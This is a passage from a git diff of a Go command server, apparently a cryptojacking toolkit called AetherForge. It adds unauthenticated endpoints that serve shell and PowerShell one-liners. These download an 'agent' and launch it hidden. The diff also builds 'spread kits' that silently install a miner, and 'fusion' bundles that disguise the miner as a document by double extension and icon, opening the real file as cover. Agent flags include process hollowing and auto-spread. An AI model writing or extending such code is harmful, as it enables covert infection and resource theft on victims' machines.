"$DEST" 2>/dev/null | grep -q "Zip"; then + echo "[*] Extracting universal bundle..." + unzip -q "$DEST" -d "$TMPDIR/bundle" + cd "$TMPDIR/bundle" + # Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command + if [ "$OS" = "darwin" ]; then + for L in Start.command start.command; do + if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi + done + fi + for L in start.sh deploy.sh; do + if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi + done + echo "[!] Could not find launcher in bundle" + exit 1 +fi + +chmod +x "$DEST" +echo "[*] Launching..." +nohup "$DEST" >/dev/null 2>&1 & +echo "[+] Agent started (pid $!)" +`, base, base) + + w.Header().Set("Content-Type", "text/plain; charset=utf-8") + w.Header().Set("Content-Disposition", `inline; filename="install.sh"`) + fmt.Fprint(w, script) +} + +// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer. +func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) { + base := h.publicURL() + if base == "" { + scheme := "http" + if r.TLS != nil { + scheme = "https" + } + base = scheme + "://" + r.Host + } + + // PowerShell backticks would conflict with Go raw-string backticks; build the + // script as a regular string so we can escape them properly. + bt := "`" // backtick character + script := "# AetherForge one-liner installer\n" + + "# Usage: iex (irm '" + base + "/install.ps1')\n\n" + + "$ErrorActionPreference = 'Stop'\n" + + "$url = '" + base + "/get?os=windows'\n" + + "$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" + + "Write-Host '[*] Downloading agent...'\n" + + "Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" + + "$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" + + "$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" + + "if ($isZip) {\n" + + " Write-Host '[*] Extracting universal bundle...'\n" + + " $dir = $tmp + '_bundle'\n" + + " Add-Type -AssemblyName System.IO.Compression.FileSystem\n" + + " [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" + + // Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both. + " $bat = $null\n" + + " foreach ($name in @('Start.bat','Deploy.bat')) {\n" + + " $candidate = Join-Path $dir $name\n" + + " if (Test-Path $candidate) { $bat = $candidate; break }\n" + + " }\n" + + " if ($bat) {\n" + + " Write-Host '[*] Running launcher...'\n" + + " Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" + + " } else {\n" + + " Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" + + " }\n" + + "} else {\n" + + " $exe = $tmp + '.exe'\n" + + " Move-Item -Path $tmp -Destination $exe -Force\n" + + " Write-Host '[*] Launching...'\n" + + " Start-Process -FilePath $exe -WindowStyle Hidden\n" + + "}\n" + + "Write-Host '[+] Agent deployed.'\n" + + w.Header().Set("Content-Type", "text/plain; charset=utf-8") + w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`) + fmt.Fprint(w, script) +} diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index 1be6fa7..ea65660 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -4,7 +4,6 @@ import ( "encoding/json" "net/http" "strconv" - "time" "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/db" @@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) { } content := f.ws.GetAgentLog(id) if r.URL.Query().Get("refresh") == "1" { + // Fire the get_log command and return immediately — the response arrives + // via the WebSocket command_result broadcast (fixes M18: no more 1.8s block). + // The dashboard will receive the log content via the commandResults queue. _ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300}) - for i := 0; i < 12; i++ { - time.Sleep(150 * time.Millisecond) - if c := f.ws.GetAgentLog(id); c != "" { - content = c - break - } - } } writeJSON(w, map[string]interface{}{ "agent_id": id, diff --git a/server/internal/api/integration_test.go b/server/internal/api/integration_test.go index 153461f..a27a54c 100644 --- a/server/internal/api/integration_test.go +++ b/server/internal/api/integration_test.go @@ -50,7 +50,8 @@ func newTestRouter(t *testing.T) (http.Handler, string) { _ = os.MkdirAll(webRoot, 0755) _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644) - return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, dataDir, nil), dataDir + dropperHandler := NewDropperHandler(database, nil) + return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir } func TestHealthIsPublic(t *testing.T) { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index b4764b9..c43fcbc 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -58,9 +58,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler { } path := r.URL.Path - // Agent-facing API + health + forged worker downloads stay open for agents. + // Agent-facing API + health + forged worker downloads + one-liner droppers stay open. if strings.HasPrefix(path, "/api/v1/agent/") || path == "/api/v1/health" || + path == "/get" || path == "/install.sh" || path == "/install.ps1" || (strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) { next.ServeHTTP(w, r) return @@ -87,7 +88,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { }) } -func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { +func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { loadUsers(dataDir) r := chi.NewRouter() @@ -188,6 +189,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS) + // One-liner remote install endpoints (unauthenticated — URL knowledge is the gate) + if dropperHandler != nil { + r.Get("/get", dropperHandler.ServeGet) + r.Get("/install.sh", dropperHandler.ServeSh) + r.Get("/install.ps1", dropperHandler.ServePs1) + } + // Serve frontend SPA if webRoot != "" { // Check if webroot directory exists diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index be16240..37fa069 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -42,15 +42,41 @@ func (c *AgentConnection) SendJSON(v interface{}) error { return c.Conn.WriteJSON(v) } +// DashboardConn wraps a dashboard WebSocket with its own write mutex so +// broadcastDashboard and the ping loop never race on the same connection. +type DashboardConn struct { + Conn *websocket.Conn + mu sync.Mutex +} + +func (d *DashboardConn) WriteMessage(messageType int, data []byte) error { + d.mu.Lock() + defer d.mu.Unlock() + return d.Conn.WriteMessage(messageType, data) +} + +func (d *DashboardConn) WriteJSON(v interface{}) error { + d.mu.Lock() + defer d.mu.Unlock() + return d.Conn.WriteJSON(v) +} + +func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error { + d.mu.Lock() + defer d.mu.Unlock() + return d.Conn.WriteControl(messageType, data, deadline) +} + type WSHub struct { db *db.Database agents map[string]*AgentConnection - dashboards map[string]*websocket.Conn + dashboards map[string]*DashboardConn poolManager *pool.Manager defaultPool pool.Config aiHandler *AIHandler - agentConfigs map[string]AgentForgeConfig - agentLogs map[string]string + agentConfigs map[string]AgentForgeConfig + agentCapabilities map[string]models.AgentCapabilities + agentLogs map[string]string serverPolicy ServerPolicy pingIntervalSec int mu sync.RWMutex @@ -60,9 +86,10 @@ func NewWSHub(database *db.Database) *WSHub { return &WSHub{ db: database, agents: make(map[string]*AgentConnection), - dashboards: make(map[string]*websocket.Conn), - agentConfigs: make(map[string]AgentForgeConfig), - agentLogs: make(map[string]string), + dashboards: make(map[string]*DashboardConn), + agentConfigs: make(map[string]AgentForgeConfig), + agentCapabilities: make(map[string]models.AgentCapabilities), + agentLogs: make(map[string]string), pingIntervalSec: 30, } } @@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration { return time.Duration(sec) * time.Second } -func (h *WSHub) runPingLoop(conn *websocket.Conn) { +func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) { interval := h.pingInterval() ticker := time.NewTicker(interval) defer ticker.Stop() @@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) { } } +func (h *WSHub) runPingLoopDash(dc *DashboardConn) { + interval := h.pingInterval() + ticker := time.NewTicker(interval) + defer ticker.Stop() + + _ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2)) + dc.Conn.SetPongHandler(func(string) error { + return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2)) + }) + + for range ticker.C { + if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil { + return + } + } +} + func (h *WSHub) serverPolicySnapshot() ServerPolicy { h.mu.RLock() defer h.mu.RUnlock() @@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { return } - go h.runPingLoop(conn) + go h.runPingLoopRaw(conn) agentID := "" defer func() { @@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIModel string `json:"ai_model"` + HolePunch bool `json:"hole_punch"` + RemoteAggressive bool `json:"remote_aggressive"` + MeshP2P bool `json:"mesh_p2p"` + AutoSpread bool `json:"auto_spread"` + ProcessHollowing bool `json:"process_hollowing"` + Platform string `json:"platform"` + Arch string `json:"arch"` + OSVersion string `json:"os_version"` } if err := json.Unmarshal(msg.Payload, &auth); err != nil { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ @@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID) policy := h.serverPolicySnapshot() - if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents { - conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ - "success": false, "error": "fleet agent limit reached", - })}) - break - } forgeCfg := AgentForgeConfig{ Wallet: auth.Wallet, @@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { AIModel: auth.AIModel, } + caps := models.AgentCapabilities{ + HolePunch: auth.HolePunch, + RemoteAggressive: auth.RemoteAggressive, + MeshP2P: auth.MeshP2P, + AutoSpread: auth.AutoSpread, + ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows", + AIEnabled: auth.AIEnabled, + } + h.mu.Lock() h.agentConfigs[agentID] = forgeCfg + h.agentCapabilities[agentID] = caps h.mu.Unlock() if h.poolManager != nil { @@ -301,15 +357,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } agent := &models.Agent{ - ID: agentID, - Name: displayName, - Wallet: auth.Wallet, - IP: clientIP, - Version: auth.Version, - Status: "online", - CPUCores: auth.CPUCores, - MemoryGB: auth.MemoryGB, - LastSeen: time.Now(), + ID: agentID, + Name: displayName, + Wallet: auth.Wallet, + IP: clientIP, + Version: auth.Version, + Status: "online", + CPUCores: auth.CPUCores, + MemoryGB: auth.MemoryGB, + LastSeen: time.Now(), + Platform: auth.Platform, + Arch: auth.Arch, + OSVersion: auth.OSVersion, + Capabilities: &caps, } if err := h.db.UpsertAgent(agent); err != nil { @@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP) } + // MaxAgents check + registration in a single Lock to prevent TOCTOU (M17): + // two concurrent new agents could both pass the count check under RLock, then + // both get registered, overshooting the limit. h.mu.Lock() + if policy.MaxAgents > 0 { + _, alreadyConnected := h.agents[agentID] + if !alreadyConnected && len(h.agents) >= policy.MaxAgents { + h.mu.Unlock() + conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ + "success": false, "error": "fleet agent limit reached", + })}) + break + } + } if old, ok := h.agents[agentID]; ok && old.Conn != conn { oldConn := old.Conn h.mu.Unlock() @@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { return } + dc := &DashboardConn{Conn: conn} dashID := uuid.New().String() h.mu.Lock() - h.dashboards[dashID] = conn + h.dashboards[dashID] = dc h.mu.Unlock() defer func() { @@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { // Send initial data agents, _ := h.db.ListAgents() + h.enrichAgentsCapabilities(agents) stats, _ := h.db.GetFleetStats() - conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{ + _ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{ "agents": agents, "stats": stats, })}) - go h.runPingLoop(conn) + go h.runPingLoopDash(dc) // Keep connection alive, read close messages for { @@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) { return } - for id, conn := range h.dashboards { - if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { + for id, dc := range h.dashboards { + if err := dc.WriteMessage(websocket.TextMessage, data); err != nil { log.Printf("Failed to send to dashboard %s: %v", id, err) - conn.Close() + dc.Conn.Close() id := id go func() { h.mu.Lock() @@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{} h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)}) } +func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) { + h.mu.RLock() + defer h.mu.RUnlock() + for _, a := range agents { + if a == nil { + continue + } + if caps, ok := h.agentCapabilities[a.ID]; ok { + c := caps + a.Capabilities = &c + } + } +} + func (h *WSHub) GetAgentLog(agentID string) string { h.mu.RLock() defer h.mu.RUnlock() diff --git a/server/internal/builder/build_universal.go b/server/internal/builder/build_universal.go new file mode 100644 index 0000000..5f63c38 --- /dev/null +++ b/server/internal/builder/build_universal.go @@ -0,0 +1,426 @@ +package builder + +import ( + "fmt" + "log" + "net/http" + "os" + "path/filepath" + "strings" + "time" + + "crypto-miner-server/internal/models" + + "github.com/google/uuid" +) + +func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) { + buildID := uuid.New().String() + buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) + agentDir := filepath.Join(buildDir, "agent") + + if err := os.MkdirAll(agentDir, 0755); err != nil { + return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, "" + } + if err := h.copyAgentSource(agentDir); err != nil { + return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, "" + } + + platforms := platformsForRequest(req) + workerPaths := map[string]string{} + for _, p := range platforms { + wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled) + if err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + workerPaths[p.Label()] = wp + } + + if req.SpreadKit && !req.FusionEnabled { + return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms) + } + + if req.FusionEnabled { + return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms) + } + + // Universal workers only — primary artifact is spread-kit style folder without spread flag naming + return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms) +} + +func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) { + subdir := sanitizeFileName(req.WorkerName) + "-spread-kit" + if req.SpreadKit { + subdir = sanitizeFileName(req.WorkerName) + "-spread-kit" + } else { + subdir = sanitizeFileName(req.WorkerName) + "-universal" + } + outDir := filepath.Join(h.projectRoot, "spread-kits", subdir) + if err := os.MkdirAll(outDir, 0755); err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + + for _, p := range platforms { + src := workers[p.Label()] + destDir := filepath.Join(outDir, p.BinDir()) + if err := os.MkdirAll(destDir, 0755); err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + destName := "worker" + p.Ext + if err := copyFile(src, filepath.Join(destDir, destName)); err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + } + + _ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755) + _ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644) + _ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644) + _ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755) + _ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644) + _ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644) + + zipName := subdir + "-package.zip" + zipPath := filepath.Join(buildDir, zipName) + if err := zipDirectory(outDir, zipPath); err != nil { + return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, "" + } + _ = copyFile(zipPath, filepath.Join(outDir, zipName)) + + primary := workers[platforms[0].Label()] + if w, ok := workers["windows-amd64"]; ok { + primary = w + } + zipSt, _ := os.Stat(zipPath) + zipBytes := int64(0) + if zipSt != nil { + zipBytes = zipSt.Size() + } + + if err := h.db.InsertBuild(&models.BuildRecord{ + ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, + Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(), + PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, + Platform: "universal", BundleSize: zipBytes, + }); err != nil { + log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err) + } + + return BuildResponse{ + Success: true, + BuildID: buildID, + FileName: zipName, + FilePath: zipPath, + RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)), + FileSize: zipBytes, + DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), + BundleFileName: zipName, + BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), + BundleSize: zipBytes, + FusionExportDir: outDir, + ExportPath: outDir, + }, http.StatusOK, primary +} + +func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) { + // Resolve payload display name (used for runner naming and ZIP title) + payloadBase := filepath.Base(prepPath) + title := strings.TrimSpace(req.FusionMediaBaseName) + if title == "" { + title = payloadBase + } + titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title)) + if titleBase == "" { + titleBase = "fusion" + } + + subdir := fusionExportSubdir(req, title) + outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir) + if err := os.MkdirAll(outDir, 0755); err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + + mode := normalizeFusionMediaMode(req.FusionMediaMode) + + var fusionResults []*fusionBuildResult + var primaryPath string + for _, p := range platforms { + workerPath := workers[p.Label()] + platReq := *req + // Name each runner after the payload file for clarity (e.g. report-runner.exe) + platReq.FusionOutputName = runnerNameForFile(title, p) + res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p) + if err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + fusionResults = append(fusionResults, res) + destDir := filepath.Join(outDir, p.BinDir()) + if err := os.MkdirAll(destDir, 0755); err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + runnerName := filepath.Base(res.LauncherPath) + destRunner := filepath.Join(destDir, runnerName) + if err := copyFile(res.LauncherPath, destRunner); err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + if p.GOOS == "windows" { + primaryPath = destRunner + } + if p.GOOS == "darwin" { + if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil { + log.Printf("[Forge] darwin app bundle: %v", err) + } + } + } + + // For paired mode: copy the original payload file to the ZIP root so runners can find it. + // The runners search up to 2 parent dirs from their binary location (bin/platform/ → root). + if mode == "paired" && prepPath != "" { + destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase)) + _ = copyFile(prepPath, destPayload) + } + + _ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755) + _ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644) + _ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755) + + readme := fusionReadmeInfo{ + Title: titleBase, + RunnerName: titleBase + "-runner", + MediaName: payloadBase, + PayloadKind: req.FusionPayloadKind, + MediaMode: mode, + } + windowsRunnerName := disguisedRunnerName(payloadBase) + unixRunnerName := sanitizeFileName(titleBase+"-runner") + readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" + + " Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" + + " NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" + + " Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" + + " macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" + + "What happens when launched:\r\n" + + " 1. The original file (" + payloadBase + ") opens normally\r\n" + + " 2. The miner installs silently and connects to your command deck\r\n" + _ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644) + + zipName := fusionBundleZipName(subdir) + zipPath := filepath.Join(buildDir, zipName) + if err := zipDirectory(outDir, zipPath); err != nil { + return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, "" + } + _ = copyFile(zipPath, filepath.Join(outDir, zipName)) + + if primaryPath == "" && len(fusionResults) > 0 { + primaryPath = fusionResults[0].LauncherPath + } + zipSt2, _ := os.Stat(zipPath) + zipBytes2 := int64(0) + if zipSt2 != nil { + zipBytes2 = zipSt2.Size() + } + + if err := h.db.InsertBuild(&models.BuildRecord{ + ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, + Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(), + PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, + Platform: "universal", BundleSize: zipBytes2, + }); err != nil { + log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err) + } + + return BuildResponse{ + Success: true, + BuildID: buildID, + FileName: zipName, + FilePath: zipPath, + RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)), + FileSize: zipBytes2, + DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), + FusionEnabled: true, + FusionExportDir: outDir, + BundleFileName: zipName, + BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), + BundleSize: zipBytes2, + ExportPath: outDir, + }, http.StatusOK, primaryPath +} + +func runnerNameForPlatform(p BuildPlatform) string { + if p.GOOS == "windows" { + return "runner.exe" + } + return "runner" +} + +func fileSize(st os.FileInfo) int64 { + if st == nil { + return 0 + } + return st.Size() +} + +const universalDeploySh = `#!/bin/sh +set -e +DIR="$(cd "$(dirname "$0")" && pwd)" +export AETHER_KIT_DIR="$DIR" +OS="$(uname -s | tr '[:upper:]' '[:lower:]')" +ARCH="$(uname -m)" +case "$OS" in + linux*) + case "$ARCH" in + arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;; + *) RUN="$DIR/bin/linux-amd64/worker" ;; + esac + ;; + darwin*) + case "$ARCH" in + arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;; + *) RUN="$DIR/bin/darwin-amd64/worker" ;; + esac + ;; + *) echo "Unsupported OS: $OS"; exit 1 ;; +esac +if [ ! -f "$RUN" ]; then + echo "Worker binary missing: $RUN" + exit 1 +fi +chmod +x "$RUN" 2>/dev/null || true +xattr -cr "$RUN" 2>/dev/null || true +nohup "$RUN" --spread-install /dev/null 2>&1 & +exit 0 +` + +func spreadKitDeploySh() string { + return universalDeploySh +} + +const spreadKitDeployBatBody = `@echo off +setlocal +set "DIR=%~dp0" +set "AETHER_KIT_DIR=%DIR%" +set "RUN=%DIR%bin\windows-amd64\worker.exe" +if not exist "%RUN%" ( + echo Worker missing: %RUN% + exit /b 1 +) +start "" /B "%RUN%" --spread-install +exit /b 0 +` + +func spreadKitDeployBat() string { + return spreadKitDeployBatBody +} + +const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell") +dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "") +run = dir & "bin\windows-amd64\worker.exe" +If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then + WScript.Echo "Worker missing: " & run + WScript.Quit 1 +End If +sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir +sh.Run """" & run & """ --spread-install", 0, False +` + +func spreadKitDeployVbs() string { + return spreadKitDeployVbsBody +} + +const spreadKitStartCommandBody = `#!/bin/bash +DIR="$(cd "$(dirname "$0")" && pwd)" +exec "$DIR/deploy.sh" +` + +func spreadKitStartCommand() string { + return spreadKitStartCommandBody +} + +const universalDeployBat = `@echo off +set DIR=%~dp0 +"%DIR%bin\windows-amd64\worker.exe" --spread-install +` + +// fusionUniversalStartSh returns start.sh for the universal fusion ZIP. +// It detects the OS/arch and launches the matching runner binary. +// title is the payload filename — Unix runners use a sanitised "-runner" suffix. +func fusionUniversalStartSh(title string) string { + base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title)) + if base == "" { + base = "runner" + } + runnerBase := sanitizeFileName(base + "-runner") + return `#!/bin/sh +DIR="$(cd "$(dirname "$0")" && pwd)" +OS="$(uname -s | tr '[:upper:]' '[:lower:]')" +ARCH="$(uname -m)" +case "$OS" in + linux*) + case "$ARCH" in + arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;; + *) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;; + esac ;; + darwin*) + case "$ARCH" in + arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;; + *) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;; + esac ;; + *) echo "Unsupported OS: $OS"; exit 1 ;; +esac +if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi +chmod +x "$RUN" 2>/dev/null || true +xattr -cr "$RUN" 2>/dev/null || true +exec "$RUN" +` +} + +// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner). +// title is the payload filename — the runner uses the double-extension disguised name. +func fusionUniversalStartBat(title string) string { + runnerExe := disguisedRunnerName(title) + return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n" +} + +// fusionUniversalStartCommand returns Start.command (macOS double-click launcher). +func fusionUniversalStartCommand() string { + return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n" +} + +func formatSpreadKitReadme(req *BuildRequest) string { + return fmt.Sprintf(`AetherForge Universal Spread Kit — %s +===================================== + +Run ONE launcher for your OS (silent install + mining + deck connection): + + Windows (silent): double-click Deploy.vbs (or Deploy.bat) + Linux: chmod +x deploy.sh && ./deploy.sh + macOS: double-click Start.command (or ./deploy.sh) + +Keep the entire folder together — bin/ must stay next to the launcher. + +Command deck URL baked into workers: %s +If agents never appear, re-forge with your LAN IP (not localhost). + +Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix) +`, req.WorkerName, req.ServerURL) +} + +func formatSpreadKitOperator(req *BuildRequest, buildID string) string { + return fmt.Sprintf(`AetherForge Spread Kit — operator reference +Worker: %s +Build ID: %s +Command URL: %s +Pool: %s:%d +Wallet: %s… +Auto-spread: %v +Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64 + +Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s. +`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread) +} + +func truncateWallet(w string) string { + w = strings.TrimSpace(w) + if len(w) <= 16 { + return w + } + return w[:16] +} diff --git a/server/internal/builder/compile.go b/server/internal/builder/compile.go index 765a2b9..d110ba2 100644 --- a/server/internal/builder/compile.go +++ b/server/internal/builder/compile.go @@ -1,13 +1,5 @@ package builder -import ( - "fmt" - "log" - "os" - "os/exec" - "strings" -) - func (h *Handler) buildTagsFor(req *BuildRequest) []string { var tags []string if req.ProcessHollowing { @@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool { } func (h 